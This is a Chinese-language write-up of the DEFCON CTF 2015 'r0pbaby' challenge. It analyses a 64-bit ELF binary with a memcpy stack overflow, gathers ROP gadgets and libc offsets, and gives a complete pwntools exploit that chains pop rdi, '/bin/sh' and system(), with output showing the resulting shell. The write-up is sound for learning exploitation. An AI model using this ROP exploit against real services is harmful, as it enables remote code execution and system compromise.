文章目录
这是DEFCON CTF 2015中的一道题,经典的ROP利用。首先我们看一下这个bin文件的一些信息,它是一个64位的ELF文件
1 2
| $ file r0pbaby_542ee6516410709a1421141501f03760 r0pbaby_542ee6516410709a1421141501f03760: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
|
我们用查看它都开了什么保护,结果发现开了数据执行保护和地址空间布局随机化保护。
1 2 3 4 5 6
| gdb-peda$ checksec CANARY : disabled FORTIFY : ENABLED NX : ENABLED PIE : ENABLED RELRO : disabled
|
我们现在来还原实验环境,首先使用socat将它绑定在本地的1234端口
1
| $ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby_542ee6516410709a1421141501f03760"
|
我们用nc链接,看一下它的执行流程。这个程序有四个选项,选项1是获得libc address;选项2是获得function函数在程序的真实地址;选项3是一个buffer,允许最多写入1024个字节;选项4是退出程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $ nc localhost 1234 Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 1 libc.so.6: 0x00007FF8A8D009B0 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: sytem Symbol sytem: 0x0000000000000000 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 4 Exiting.
|
接下来我们用IDA分析一下这个伪代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| __int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int v3; // eax@4 unsigned __int64 v4; // r14@15 int v5; // er13@17 size_t v6; // r12@17 int v7; // eax@18 void *handle; // [sp+8h] [bp-448h]@1 char nptr[1088]; // [sp+10h] [bp-440h]@2 __int64 savedregs; // [sp+450h] [bp+0h]@22 setvbuf(stdout, 0LL, 2, 0LL); signal(14, handler); alarm(0x3Cu); puts("\nWelcome to an easy Return Oriented Programming challenge..."); puts("Menu:"); handle = dlopen("libc.so.6", 1); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { sub_BF7(); if ( !sub_B9A((__int64)nptr, 1024LL) ) { puts("Bad choice."); return 0LL; } v3 = strtol(nptr, 0LL, 10); if ( v3 != 2 ) break; __printf_chk(1LL, "Enter symbol: "); if ( sub_B9A((__int64)nptr, 64LL) ) { dlsym(handle, nptr); __printf_chk(1LL, "Symbol %s: 0x%016llX\n"); } else { puts("Bad symbol."); } } if ( v3 > 2 ) break; if ( v3 != 1 ) goto LABEL_24; __printf_chk(1LL, "libc.so.6: 0x%016llX\n"); } if ( v3 != 3 ) break; __printf_chk(1LL, "Enter bytes to send (max 1024): "); sub_B9A((__int64)nptr, 1024LL); v4 = (signed int)strtol(nptr, 0LL, 10); if ( v4 - 1 > 0x3FF ) { puts("Invalid amount."); } else { if ( v4 ) { v5 = 0; v6 = 0LL; while ( 1 ) { v7 = _IO_getc(stdin); if ( v7 == -1 ) break; nptr[v6] = v7; v6 = ++v5; if ( v4 <= v5 ) goto LABEL_22; } v6 = v5 + 1; } else { v6 = 0LL; } LABEL_22: memcpy(&savedregs, nptr, v6); } } if ( v3 == 4 ) break; LABEL_24: puts("Bad choice."); } dlclose(handle); puts("Exiting."); return 0LL; }
|
我们发现memcpy这个函数从源nptr所指的内存地址的起始位置开始拷贝v6个字节到目标&savedregs所指的内存地址的起始位置中,这个位置存在缓存区溢出漏洞
1
| memcpy(&savedregs, nptr, v6);
|
我们查看savedregs的结构,发现savedregs保存了栈帧的指针和函数的返回地址
1 2 3 4
| +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables
|
因此我们首先输入的qword字节会覆盖旧的rbp,第二个qword字节会改写返回地址。因为这个程序开了NX+ASLR+PIE保护,所以我们构造一个rop-chain。构造rop-chain主要有下面几个步骤:
- 用一个gadget将/bin/sh写入rdi寄存器
- 获得字符串“bin/sh”的地址
- 获得system函数的地址
我们查看一下这个程序运行时加载的动态链接库是哪个版本的。
1 2 3 4 5
| $ ldd r0pbaby_542ee6516410709a1421141501f03760 linux-vdso.so.1 => (0x00007ffdfc4df000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa9d4eb8000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa9d4af3000) /lib64/ld-linux-x86-64.so.2 (0x000055ed9370d000)
|
首先我们获得一个 pop rdi ret 的gadget
1 2 3 4
| $ ROPgadget --binary libc.so.6 --only "pop|ret"| grep rdi 0x000000000001f826 : pop rdi ; pop rbp ; ret 0x0000000000022b9a : pop rdi ; ret 0x0000000000116d5d : pop rdi ; ret 0x2a
|
接着在libc.so.6中获得bin_sh和system的偏移地址
1 2
| bin_sh_offset = 0x17c8c3 system_offset = 0x46590
|
exploit如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * p =remote('localhost',1234) rdi_gadget_offset = 0x22b9a bin_sh_offset = 0x17c8c3 system_offset = 0x46590 def get_fun_addr(p,function): p.send("2\n") msg = p.recvuntil("Enter symbol: ") p.send(function+"\n") msg = p.recvuntil("4) Exit\n: ") offset = msg.find(":") offset2 = msg.find("\n") addr = int(msg[offset+2: offset2],16) return addr def rop_buffer(p,playload): p.send('3\n') p.recvuntil('Enter bytes to send (max 1024): ') playload_len = str(len(playload)) p.send(playload_len + '\n') p.send(playload + '\n') return p.recvuntil(':') system_addr = get_fun_addr(p,'system') offset = system_addr - system_offset print "system_addr:0x%x " % system_addr rdi_gadget_addr = rdi_gadget_offset + offset print "rdi_get_addr:0x%x " % rdi_gadget_addr bin_sh_addr = bin_sh_offset + offset print "bin_sh_addr: 0x%x" % bin_sh_addr playload = "A"*8 + p64(rdi_gadget_addr) + p64(bin_sh_addr) + p64(system_addr) rop_buffer(p,playload) p.interactive()
|
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $ python r0pbaby.py [+] Opening connection to localhost on port 1234: Done system_addr:0x7f9261f70590 rdi_get_addr:0x7f9261f4cb9a bin_sh_addr: 0x7f92620a68c3 [*] Switching to interactive mode 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. $ whoami longlong $ ls libc.so.6 peda-session-dash.txt r0pbaby_542ee6516410709a1421141501f03760 r0pbaby.py $
|